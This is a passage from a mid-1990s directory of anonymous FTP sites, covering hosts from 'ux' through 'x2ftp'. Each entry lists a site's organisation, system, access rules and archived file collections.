+Source : old ftp-list +Alias : chyde.uwasa.fi +Admin : +Organ : University of Vaasa, Vaasa +Server : +System : Unix (SunOS 4.1) +URL : ftp://uwasa.fi/ +Comment: +Files : + +Site : ux.acs.umn.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : maroon.tc.umn.edu +Admin : +Organ : University of Minnesota, , Minnesota +Server : +System : Unix (4.3BSD) +URL : ftp://ux.acs.umn.edu/ +Comment: +Files : + +Site : uxc.cso.uiuc.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois +Server : +System : Unix +URL : ftp://uxc.cso.uiuc.edu/ +Comment: apparently empty, files moved to ftp.cso.uiuc.edu? +Files : hosts + +Site : vab02.larc.nasa.gov +Country: USA +GMT : -5 +Date : 23-May-94 +Source : +Alias : +Admin : jlc@vab02.larc.nasa.gov +Organ : NASA - Langley Advanced Research Center +Server : +System : Unix (IRIX 3.16) +URL : ftp://vab02.larc.nasa.gov/ +Comment: +Files : LRC: jsc, owg, ri, ud; mmlrc; Mosaic; opwg; quicktime + +Site : vacation.venari.cs.cmu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, CS dept. +Server : +System : +URL : ftp://vacation.venari.cs.cmu.edu/ +Comment: filenames cannot begin with "/.."; user anon logged in +Files : graphics related files and programs; Sendmail + +Site : valeria.cs.ucla.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Los Angeles, Los Angeles, California + CS dept. +Server : +System : Unix (SunOS 4.0) +URL : ftp://valeria.cs.ucla.edu/ +Comment: +Files : info-zip; zip/unzip source + +Site : valhalla.ee.rochester.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Rochester, Rochester, New York, EE dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://valhalla.ee.rochester.edu/ +Comment: +Files : RFCs; Network load balancer + +Site : vax.cs.pitt.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Pittsburgh, Pittsburgh, Pennsylvania +Server : +System : Unix (Ultrix 4.1) +URL : ftp://vax.cs.pitt.edu/ +Comment: +Files : KA9Q + +Site : vax.eedsp.gatech.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : gauss.eedsp.gatech.edu +Admin : +Organ : Georgia Tech, Atlanta, Georgia +Server : +System : Unix (SunOS 4.1) +URL : ftp://vax.eedsp.gatech.edu/ +Comment: +Files : + +Site : vax1.cs.umass.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Massachusetts - Amherst, Amherst, Massachusetts, + CS dept. +Server : +System : VAX/VMS +URL : ftp://vax1.cs.umass.edu/ +Comment: +Files : + +Site : vax1.umkc.edu +Country: USA +GMT : +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : VAX/VMS running Multinet +URL : ftp://vax1.umkc.edu/ +Comment: default directory: ANONFTP_DIR:[ANONYMOUS] +Files : network info + +Site : vax2.cs.umass.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Massachusetts - Amherst, Amherst, Massachusetts, + CS dept. +Server : +System : VAX/VMS +URL : ftp://vax2.cs.umass.edu/ +Comment: +Files : + +Site : vector.casti.com +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : +Alias : +Admin : disc@vector.casti.com +Organ : +Server : +System : Unix +URL : ftp://vector.casti.com/ +Comment: read ABOUT.VECTOR; server can g(un)zip +Files : almanac; casti; cdp; info; MS-DOS; NeXT; political; qc; Queer + Resources Directory (QRD); RFCs; + soc.motss; tech; Unix + +Site : vela.acs.oakland.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : old ftp-list +Alias : +Admin : +Organ : Oakland University, Rochester, Michigan, Academic Computing Services +Server : +System : Unix (Ultrix 4.1) +URL : ftp://vela.acs.oakland.edu/ +Comment: +Files : amaranth; anthap; C++; editors; Project Galactic Guide (PGG) + material, mirrored on ftp.cs.city.ac.uk, see that entry for more + info; heralds; IBM VM; Multics; numbdroid; PPP; rocks; transformers; + Tribe; vlt; VR; X + +Site : venice.mps.ohio-state.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : kimagure@venice.mps.ohio-state.edu +Organ : Ohio State University, , Ohio +Server : +System : +URL : ftp://venice.mps.ohio-state.edu/ +Comment: temporalily new uploads will be made available in directory: + /anime-manga/upload/TEMP_NEW +Files : Anime-Manga archive + +Site : venus.eng.buffalo.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : ghanem@venus.eng.buffalo.edu (Roger G. Ghanem) +Organ : State University of New York - Buffalo, Buffalo, New York +Server : +System : Unix (SunOS 4.1) +URL : ftp://venus.eng.buffalo.edu/ +Comment: +Files : sysid apps for earthquake/structural dynamics in Fortran + +Site : vesta.sunquest.com +Country: USA +GMT : +Date : 10-Dec-93 +Source : VAX Software List; old ftp-list +Alias : +Admin : +Organ : SunQuest +Server : +System : VAX/VMS running Multinet +URL : ftp://vesta.sunquest.com/ +Comment: wants to resolve your hostname, if your domain name servers + are incorrectly configured you can't access this site (contact + your systemadministrator in that case); please restrict file + transfer to outside of 07:00-18:00 Mon-Fri; transfer bandwidth + is 56Kbps; if you transfer files during working hours, or if you + don't provide a valid e-mail address, you may be abnormally + terminated; don't try weird Unix stuff (ls -lRz). Use bona fide + FTP commands that the RFC mentions and you should be fine; + if you're using MultiNet use MODE LZ; default directory: + USER_DISK:[ANONYMOUS.FILES] +Files : VMS cryptodisk and virtual disk driver; VMS software + +Site : vic.cc.purdue.edu +Country: USA +GMT : -5 +Date : 02-Aug-94 +Source : ftp.sterling.com +Alias : +Admin : abe@cc.purdue.edu +Organ : Purdue University, West-Lafayette, Indiana, CC +Server : +System : Unix +URL : ftp://vic.cc.purdue.edu/ +Comment: some files to be mirrored on ftp.sterling.com; max. 3 users; + you must supply a valid e-mail address (RFC-822 compliant) +Files : cawf; ged2www; lifescan; lsof; touch2 + +Site : vis-ftp.cs.umass.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : fsjac3@camelot.acf-lab.alaska.edu (Jennifer Cabbage) +Alias : klingon.cs.umass.edu +Admin : +Organ : University of Massaschusetts - Boston, Boston, Massachusetts, + VISIONS Groups +Server : +System : Unix +Comment: major disclaimer! +Files : large collection of digitized images + +Site : vis5d.ssec.wisc.edu +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : billh@ssec.wisc.edu (Bill Hibbard) {posting} +Alias : iris.ssec.wisc.edu +Admin : whibbard@macc.wisc.edu (Bill Hibbard), brianp@ssec.wisc.edu + (Brian Paul) +Organ : University of Wisconsin, Madison, Wisconsin, + Space Science and Engineering Center +Server : +System : Unix +URL : ftp://vis5d.ssec.wisc.edu/ +Comment: +Files : Bigdummy's Guide to the Internet; data; Lattice; VIS (Visualizing + and steering scientific computation): VIS5D, VIS94; VIS-AD; WWW + +Site : viz.tamu.edu +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : root@viz.tamu.edu +Organ : Texas A&M University, , Texas, Visualization Lab +Server : +System : Unix +URL : ftp://viz.tamu.edu/ +Comment: access is logged +Files : images; jabka; pico; rc; SGI; xmap + +Site : vm.ktu.lt +Country: Lithuania +GMT : +2 +Date : 18-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Kaunas Technical University, Kaunas +Server : +System : VM/CMS +URL : ftp://vm.ktu.lt/ +Comment: no password needed; default directory: SCSERV:ANONYMOU (ReadOnly); + files are stored on minidisks (arcdks.100,102,200,304) but I have + no idea how to access them [how does VM/CMS work??] +Files : games for PC (Doom, Spear, Ultima); graphics (BMP, GIF, JPG); sounds + for PC (AU, MOD, STD, VOC, WAV); VM-UTIL (from ubvm.cc.buffalo.edu) + +Site : vm.tau.ac.il +Country: Israel +GMT : +2 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Tel Aviv University, Tel Aviv +Server : +System : VM/CMS +URL : ftp://vm.tau.ac.il/ +Comment: +Files : PLP (Public line printer) + +Site : vm.utdallas.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Texas - Dallas, Dallas, Texas, + Academic Computing Center +Server : +System : VM/CMS +URL : ftp://vm.utdallas.edu/ +Comment: use CWD with one of the following parameters: + 5753-FAL: BTI ELC driver 3.10 for 5735-FAL 2.2 + 5753-OLD: BTI ELC driver 3.00 for 5753-FAL 2.1 + 5798DRVR: BTI ELC driver 2.18 for 5789-FAL 1.2.2 + 7UP: Multitasker for VM C/370 + BITNET: UTDALLAS BITNET disk (UTDALLAS will be leaving + BITNET so I guess this one will go too) + BITEARN: BITEARN NODES files from the beginning of time + NAMELIST: UTD faculty and staff info + default directory: ANONYMOU * = 301 +Files : lipphe IBM TCP/IP bit and BTI ELC drivers; UT Dallas INFO; + BITNET info; 7UP + +Site : vm1.nodak.edu +Country: USA +GMT : -6 +Date : 15-Dec-94 +Source : old ftp-list +Alias : +Admin : info@vm1.nodak.edu +Organ : North Dakota Higher Education Computer Network (ND HECN), , + North Dakota +Server : +System : VM/CMS (VM/ESA 2.1, IBM ES9000 9121-320) +URL : ftp://vm1.nodak.edu/ +Comment: default directory: ANONYMOU 191, others: BITINFO (BITNET info), + LISTARCH (listserv archives), LOCSOFT (locally developed software), + ROOTS-L (genealogy archives), HICNEWS (Health Info-Com Net + newsletters); read the README.FIRST for directions +Files : ADA LAW; Bitinfo; blindnews; fusion; genealogy; helpnet; hicnews; + IBM SRD; INREGST; ISO9000; KIDlink; L-HCAP; LISTARCH; mednets; Minix + fixes; MINIX-L; nnews; pingdata; ROOTS-L; + +Site : vms.ecs.rpi.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Rensselaer Polytechnical Institute, Troy, New York +Server : +System : VAX/VMS (CMU-Tek FTP for UCX) +URL : ftp://vms.ecs.rpi.edu/ +Comment: Problem: I/O error on network device +Files : Message Exchange + +Site : vms.huji.ac.il +Country: Israel +GMT : +2 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : VAX/VMS running MultiNet +URL : ftp://vms.huji.ac.il/ +Comment: default directory: PUBLIC$:[000000] +Files : + +Site : vms2.ecs.rpi.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Rensselaer Polytechnical Institute, Troy, New York +Server : +System : VAX/VMS (CMU-Tek FTP for UCX) +URL : ftp://vms2.ecs.rpi.edu/ +Comment: Problem: I/O error on network device +Files : NEWSRDR + +Site : vmsa.oac.uci.edu +Country: USA +GMT : -8 +Date : 16-Feb-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Irvine, Irvine, California +Server : +System : VAX/VMS +URL : ftp://vmsa.oac.uci.edu/ +Comment: +Files : VMS software; TAR + +Site : vuse.vanderbilt.edu +Country: USA +GMT : -6 +Date : 24-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Vanderbilt University, Nashville, Tennessee, Vanderbilt University + School of Engineering +Server : +System : Unix (SunOS 4.1) +URL : ftp://vuse.vanderbilt.edu/ +Comment: +Files : abet_rpt; ai stats; nsf-study; packages + +Site : walker.u.washington.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Washington, Seattle, Washington +Server : +System : Unix (Ultrix 4.2) +URL : ftp://walker.u.washington.edu/ +Comment: milton.u.washington.edu is obsolete +Files : DECOSF; docs; IBM PC; RS6000; Sequent; TeX + +Site : watcgl.uwaterloo.ca +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Waterloo, Waterloo +Server : +System : +URL : ftp://watcgl.uwaterloo.ca/ +Comment: +Files : + +Site : watdragon.uwaterloo.ca +Country: Canada +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : University of Waterloo, Waterloo +Server : +System : Unix +URL : ftp://watdragon.uwaterloo.ca/ +Comment: appears to be empty; maybe something in cs-archive +Files : + +Site : watmath.uwaterloo.ca +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : math.uwaterloo.ca +Admin : +Organ : University of Waterloo, Waterloo +Server : +System : Unix +URL : ftp://watmath.uwaterloo.ca/ +Comment: +Files : lots of stuff [vague huh?] + +Site : watmsg.uwaterloo.ca +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Waterloo, Waterloo +Server : +System : +URL : ftp://watmsg.uwaterloo.ca/ +Comment: +Files : GNU; pd BSD; uSystem docs; virus; cryptography + +Site : watnxt2.ucr.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Riverside, Riverside, California +Server : +System : +URL : ftp://watnxt2.ucr.edu/ +Comment: Problem: I/O error on network device +Files : + +Site : watserv1.uwaterloo.ca +Country: Canada +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Waterloo, Waterloo +Server : +System : +URL : ftp://watserv1.uwaterloo.ca/ +Comment: +Files : APL stuff in /languages/apl + +Site : watson.mbb.sfu.ca +Country: Canada +GMT : -8 +Date : 30-Oct-94 +Source : robert@stud.unit.no (Robert Schmidt) {posting}; depol@cui.unige.ch + (Philippe de Pol) +Alias : +Admin : mwave@watson.mbb.sfu.ca (Jeff Bryer) +Organ : Simon Fraser University, Burnaby, British Columbia +Server : www +System : OS/2 (PC) +URL : ftp://watson.mbb.sfu.ca/ +Comment: uploads to /incoming; tar and compress on the fly; max. 15 users; + don't get lots of stuff during working hours, do it after 2100 or + before 0900 GMT-8; do not login more than once +Files : C-64 archive; emulators for PC's; MWave + +Site : web.nexor.co.uk +Country: UK +GMT : 0 +Date : 10-Sep-94 +Source : +Alias : wellington.nexor.co.uk +Admin : +Organ : NEXOR +Server : +System : Unix +URL : ftp://web.nexor.co.uk/ +Comment: retrieve freely from dirpilot, isode, pp, pp-tables, quipu, src; + retrieval from other directories only by prior agreement; retrievals + are monitored; max. 5 users +Files : aliweb; dirpilot; isode; ldap; ossc; pp; pp-tables; quipu + +Site : weber.ucsd.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : rem@btr.com (Robert E. Maas) {posting} +Alias : +Admin : ftp-bugs@weber.ucsd.edu +Organ : University of California - San Diego, San Diego, California +Server : +System : Unix +URL : ftp://weber.ucsd.edu/ +Comment: +Files : cchatfie; immune; IRC; Mac; nb; nisus; PC; PM; Seti; Unix; Usenet + and Internet history + +Site : weedeater.math.yale.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : cek@princeton.edu +Organ : Yale University, New Haven, Connecticut, Math dept. +Server : +System : +URL : ftp://weedeater.math.yale.edu/ +Comment: the graphics archive has been moved to princeton.edu + (pub/Graphics) use that site instead of weedeater.math.yale.edu +Files : rayshade; misc. raytracing goodies + +Site : westie.mid.net +Country: USA +GMT : -7 +Date : 22-May-94 +Source : dlist@ora.com +Alias : +Admin : +Organ : MIDnet, , Oklahoma/South Dakota +Server : +System : Unix (SunOS 4.1) +URL : ftp://westie.mid.net/ +Comment: +Files : cfs; docs; latency; maps; meeting; news; plots; sendmail; SNMP; + SNMP stats; src; statspy; templates; training + +Site : westnet.net +Country: USA +GMT : -7 +Date : 22-May-94 +Source : dlist@ora.com +Alias : dozer.westnet.net +Admin : +Organ : WestNet, Boulder, Colorado +Server : +System : Unix (SunOS 4.1) +URL : ftp://westnet.net/ +Comment: +Files : cisco; docs; netviews; NSFNet; SNMP map; state-networks; stats; + steering + +Site : westsat.com +Country: USA +GMT : -8 +Date : 12-Feb-94 +Source : ftp.netsys.com +Alias : +Admin : steve@westsat.com +Organ : Western Engineering and Sattelite Technology (WESTSAT) +Server : +System : Unix +URL : ftp://westsat.com/ +Comment: +Files : weather images from ftp.netsys.com; WESTSAT product info + +Site : wgrest.bk.tudelft.nl +Country: Netherlands +GMT : +1 +Date : 25-Jan-95 +Source : arjen@bk.tudelft.nl (Arjen de Ruijter) {posting} +Alias : +Admin : A.deRuijter@bk.tudelft.nl +Organ : Technische Universiteit Delft (Delft University of Techology), Delft, + Building and Construction dept., Restauration group +Server : +System : Netware (PC fileserver) +URL : ftp://wgrest.bk.tudelft.nl/ +Comment: +Files : Linux (old); MS-DOS (4dos, animat, archive, autocad, batutil, + dbase, diskutil, editor, electric, emulator, games, genealog, + graphics, keyboard, library, memutil, Microsoft, modem, network, + printer, sysinfo, tape, turbopas, vga, virus, Uitbuiter, wordproc, + xwindows); MS-Windows 3 (archiver, desktop, disk, drivers, editor, + font, games, graphics, install, Microsoft, modem, network, plotter, + tape, tex, sysinfo, util); Novell (novfiles, pegasus, TCP/IP, util) + +Site : white.cerritos.edu +Country: USA +GMT : -8 +Date : 15-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : mailserv@cerritos.edu +System : VAX/VMS running Multinet +URL : ftp://white.cerritos.edu/ +Comment: default directory: INFO_DISK:[ANONYMOUS]; +Files : CCCO; DoD; OSF/1; PC; rec.motorcycles.pictures; vmsnet sources + +Site : white.stanford.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://white.stanford.edu/ +Comment: +Files : fov; images; obvius; otf; resource-list; tech-reports + +Site : whitechapel.media.mit.edu +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : +Alias : +Admin : ftp@media.mit.edu +Organ : Massachusetts Institute Of Technology, Cambridge, Massachusetts, + Media Lab., Perceptual Computing Group +Server : +System : Unix +URL : ftp://whitechapel.media.mit.edu/ +Comment: +Files : baback; edgerton; eigenfaces; epic; images; junkps; jyawang; + k-arith-code; KLT; Macnh; MAS626; mkftp; obvius; psfig; psycho1; + shers; SunOS-patches; tech-reports; texturesynth; widgets + +Site : wilbur.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : foghorn.stanford.edu +Admin : lma@foghorn.stanford.edu (weather), vera@foghorn.stanford.edu (YACC) +Organ : Stanford University, Menlo Park, California +Server : +System : +URL : ftp://wilbur.stanford.edu/ +Comment: +Files : weather gifs; emulators (Apple II, TRS80, Commodore 64); + YACC grammars (ADA, C++, SQL); National Association of Graduate + and Professional Students (NAGPS) archive; Program Analysis and + Verification Group (PAVG) + +Site : willis1.cis.uab.edu +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : +Alias : +Admin : +Organ : University of Alabama, Birmingham, Alabama, CIS +Server : +System : Unix (System V Release 4.0) +URL : ftp://willis1.cis.uab.edu/ +Comment: +Files : amthor; bryant; dopig; jj; katholi; news; SAC94; WWW + +Site : wiretap.spies.com +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : old ftp-list +Alias : +Admin : archive@wiretap.spies.com +Organ : Internet Wiretap FTP server +Server : +System : Unix +URL : ftp://wiretap.spies.com/ +Comment: gopher access by gopher to wiretap.spies.com, port 70; tar and + compressed tar output is enabled; transfers are logged; + look at .files for description of files per directory, .cap is for + gopher and generally meaniningless to FTP users; please do not + upload shareware or games +Files : a lot of documents on several subjects including: US government + decisions (Clinton, Economic Plan, GOV, NAFTA), alt.etext, E-texts, + networking info; ba.internet; game-archive; Waffle + +Site : wocket.vantage.gte.com +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : +Alias : opus +Admin : +Organ : GTE +Server : +System : Unix +URL : ftp://wocket.vantage.gte.com/ +Comment: +Files : standard dictionary + +Site : wolf.ncsl.nist.gov +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : osi3.ncsl.nist.gov +Admin : +Organ : National Institute for Standards and Technology, Gaithersburg, + Maryland, National Center for Computer Security (NCSL) +Server : +System : +URL : ftp://osi3.ncsl.nist.gov/ +Comment: +Files : api; atp; ccm; cocl; consulting; cslnii; ctsig; docs; EDI; + eval_guide; FED EDI; firp; ftam; gnmp; GOSIP; gug; HTML; igoss; + interop; interop92; ISO-ITU-FMCT; LaTeX; mhs; NCSA Tuba; NIST; + nmimpl; nmsig; norl; oiw; osikit; osinet; petdingo; registers; + routing; security; skey; transport; transproc; tuba; west; x3t5 + +Site : wolfen.cc.uow.edu.au +Country: Australia +GMT : +9 +Date : 06-Jan-94 +Source : old ftp-list +Alias : wampyr.cc.uow.edu.au +Admin : +Organ : University of Western Australia, , CC +Server : +System : Unix +URL : ftp://wolfen.cc.uow.edu.au/ +Comment: Unfortunately you won't find much here [right, nothing here] +Files : + +Site : wombat.doc.ic.ac.uk +Country: UK +GMT : 0 +Date : 07-Dec-93 +Source : Acorn FTP list as posted in news.answers +Alias : +Admin : dbh@doc.ic.ac.uk +Organ : Imperial College of Science, Technology and Medicine, London, + Dept. of Computing +Server : +System : +URL : ftp://wombat.doc.ic.ac.uk/ +Comment: also accessible by gopher +Files : Acorn Archimedes software in pub/acorn + +Site : wpi.wpi.edu +Country: USA +GMT : -5 +Date : 25-Jan-95 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://wpi.wpi.edu/ +Comment: please begin using ftp.wpi.edu for anonymous ftp connections + [but that one was unreachable] +Files : ACAC; Alpha; anarchy; Annex; archive; benchmarks; bohmtheory; + clubs; CQuest; DEC; fantasypics; fire; GNU; guides; hssemail; LaTeX; + Mac; Matlab; Minix; NetCp; Orapatch; PC; Perl5; recipes; salazar; + stamp; starwars; theatre; tr-guide; xpde; Xyplex + +Site : wuarchive.wustl.edu +Country: USA +GMT : -6 +Date : 29-Nov-94 +Source : MODERxx.ZIP; Perry.Rovers@kub.nl; old ftp-list +Alias : wuarchive; ftp.wustl.edu +Admin : chris@wugate.wustl.edu (Chris Myers), husch@wuarchive.wustl.edu + (Larry Husch: Mathematics archives) +Organ : Washington University St. Louis, St. Louis, Missouri +Server : fsp +System : Unix (DEC Alpha AXP 3000, Model 400) +URL : ftp://wuarchive.wustl.edu/ +Comment: Open 24 hours; Limit of 175 users; transfers are logged; see + the arrangement file in /info for info on the contents; some + directories: /pub/multimedia/images/gif; probably one of the + most widely known and used sites on this planet, most of the + things are mirrored and if this site is full you might be able + to get the files from the original site ;-) +Files : 4.3BSD-Tahoe; Aminet; baseball; comp.binaries: amiga, apple2, + atari.st, ibm.pc; comp.sources: amiga, games, misc, sun, unix, x; + DECUS; DS9; Elm; GIF; GNU; IEN; Linux; MS-DOS (/pub/MSDOS_UPLOADS); + Mathematics archives in /edu/math; Mirrors: coombs.anu.edu.au, + SimTel Software Repository (/mirrors/msdos or /systems/ibmpc/msdos), + ftp.cica.indiana.edu (as systems/msdos/win3), Interactive Fiction + (IF), sumex-aim.stanford.edu (Info-Mac), garbo.uwasa.fi + (in systems/msdos/garbo.uwasa.fi), ftp.uml.edu (MS-DOS games and + demo's in /systems/msdos/msdos-games); physics; sounds; RFCs; TeX; + Urantia; VGAplanets; VMS; wu-ftpd; X11 + +Site : wzv.win.tue.nl +Country: Netherlands +GMT : +1 +Date : 15-Dec-94 +Source : R.F.Janz@rc.rug.nl (Robert Janz) {posting} +Alias : +Admin : wzv@wzv.win.tue.nl (Wietse Venema) +Organ : Technische Universiteit Eindhoven (Eindhoven Institute of + Technology), Eindhoven, Math & CS dept. +Server : +System : Unix +URL : ftp://wzv.win.tue.nl +Comment: Mostly meant for the admin, main security archive on ftp.win.tue.nl, + use that site unless you really need something specific, because + this machine is at the end of a slow serial link; +Files : CERT advisories; certify; crashme; CuD; DES; djgpp; + hotmetal; mirror of ftp.cert.org; net; netbackup; NLUUG CD2; + NYS; RPC; Sage; securid; security related files; skey; TIS + +Site : www.cybercafe.org +Country: UK +GMT : 0 +Date : 10-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : ns.cybercafe.org +Admin : +Organ : Cybercafe, London +Server : +System : +URL : http://www.cybercafe.org/ +Comment: +Files : mirror of ftp.cica.indiana.edu (MS Windows) + +Site : www.echo.lu +Country: Luxemburg +GMT : +1 +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : vektor.echo.lu +Admin : +Organ : European Commission Host Organisation +Server : WWW +System : Unix +URL : http://www.echo.lu/ +Comment: +Files : Cordis; ECHO; WWW + +Site : www.ericsson.nl +Country: Netherlands +GMT : +1 +Date : 17-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : infobase; +Admin : +Organ : Ericsson, Breda +Server : WWW +System : Unix +URL : http://www.ericsson.nl/ +Comment: WWW access probably preferred +Files : datacom; GNU (some utils); Movies (some .mpeg files); Networking; + PC (cshow and xwin); Pictures (a couple of .gif files); Pine stuff; + Sounds (loose files, Simpsons, Startrek); Utils; WWW-Utils; X11R5 + (seyon, mpeg-player, xplaygizmo) + +Site : www.gsa.gov +Country: USA +GMT : +Date : 29-Oct-94 +Source : Perry.Rovers@kub.nl +Alias : gsacentral.gsa.gov +Admin : +Organ : GSA +Server : WWW +System : Windows NT (NT, PC) +URL : http://www.gsa.gov/ +Comment: +Files : Windows utils + +Site : www.hgp.med.umich.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : spencer@med.umich.edu (Thomas Spencer) {posting} +Alias : mendel.hgp.med.umich.edu +Admin : +Organ : University of Michigan, Ann Arbor, Michigan, Medical Center +Server : www +System : Unix (SunOS 4.1) +URL : http://www.hgp.med.umich.edu/ +Comment: +Files : bio; hypertext; Mac; NIH; Perl; WinMosaic + +Site : www.jsc.nasa.gov +Country: USA +GMT : -6 +Date : 19-Feb-95 +Source : mccoy@gothamcity.jsc.nasa.gov (Daniel McCoy); old ftp-list +Alias : krakatoa.jsc.nasa.gov +Admin : ftp@krakatoa.jsc.nasa.gov +Organ : NASA - Johnson Space Center, Houston, Texas, Client/Server Systems + Branch +Server : WWW: http://www.jsc.nasa.gov/ +System : Unix +URL : ftp://www.jsc.nasa.gov/ +Comment: NASA's WWW software archive; max. 100 users; abandon hope, all ye + who enter from ;-) +Files : GNU gzip (prep.ai.mit.edu); WWW archive: mirrors of major WWW + archive sites: CERN (www0.cern.ch), HTTPS (emwac.ed.ac.uk), + Lynx (ukanaix.cc.ukans.edu), MacHTTP (oac.hsc.uth.tmc.edu), + MacWeb/WinWeb (ftp.einet.net), NCSA (ftp.ncsa.uiuc.edu), Netscape + (ftp.mcom.com), WinHTTPD (ftp.alisa.com) + +Site : www.lbl.gov +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : +Alias : overload; gopher.lbl.gov +Admin : +Organ : Lawrence Berkeley Labs, Berkeley, California +Server : +System : Unix (SunOS, Sun SPARC2) +URL : http://www.lbl.gov/ +Comment: transfers are logged; unauthorized access is prohibited; + max. 60 users; Open 24 hours +Files : archive; compression; dict; m4; maps; sendmail; weather; WWW + +Site : www.ntt.jp +Country: Japan +GMT : +9 +Date : 15-Dec-94 +Source : mcstout@netcom.com (Mark C Stout) {posting} +Alias : yoshi.ntt.jp +Admin : +Organ : NTT +Server : +System : Unix +URL : http://www.ntt.jp/ +Comment: +Files : COLING94; docs; harvest; lang; NCSA; networking; people + +Site : www.rcac.tdi.co.jp +Country: Japan +GMT : +9 +Date : 15-Dec-94 +Source : Computer Underground Digest +Alias : reed.rcac.tdi.co.jp +Admin : +Organ : TDI +Server : +System : Unix +URL : http://www.rcac.tdi.co.jp/ +Comment: +Files : Computer Underground Digest + +Site : www.rednet.co.uk +Country: UK +GMT : 0 +Date : 02-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : rincewind.rednet.co.uk +Admin : support@rednet.co.uk +Organ : RedNet +Server : www.rednet.co.uk +System : Unix +URL : http://www.rednet.co.uk/ +Comment: +Files : docs; Mac; MS-DOS; MS-Windows; MS-Windows NT; movies; + pictures; RFCs; sounds; Unix + +Site : www.unimelb.edu.au +Country: Australia +GMT : +10 +Date : 19-Feb-95 +Source : ftp.bhp.com.au +Alias : miriworld.its.unimelb.edu.au +Admin : +Organ : University of Melbourne, Melbourne +Server : http://www.unimelb.edu.au/ +System : Unix +URL : ftp://www.unimelb.edu.au/ +Comment: +Files : CAUSE; gopher (boombox.micro.unm.edu); mirror (the program); + videocon; wingopher; WWW archive: CERN, clients, misc, servers, + tools) + +Site : x.physic.su.oz.au +Country: Australia +GMT : +10 +Date : 23-Aug-94 +Source : ftp.xfree86.org +Alias : +Admin : support@physics.su.oz.au +Organ : University of Sydney, Sydney, Physics dept. +Server : +System : Unix +URL : ftp://x.physic.su.oz.au/ +Comment: transfers are logged; server can gzip and tar +Files : X11R5; X11R6; xbench; XFree86 (mirror of ftp.xfree86.org) + +Site : x2ftp.oulu.fi +Country: Finland +GMT : +2 +Date : 29-Nov-94 +Source : MS-DOS admin; dforsch@lando.hns.com (Denis Forscha) {posting} +Alias : teeri.oulu.fi +Admin : ftpadm@x2ftp.oulu.fi (general), jon@stekt.oulu.fi (MS-DOS), + flame@x2ftp.oulu.fi (Amiga) +Organ : +Server : +System : Unix +URL : ftp://x2ftp.oulu.fi/ +Comment: max. 25 remote users; game/graphics/sound programming; +Files : Amiga; CBM; MS-DOS (PC Game programmer's encyclopedia: PCGPE) + +Site : xcf.berkeley.edu +Country: 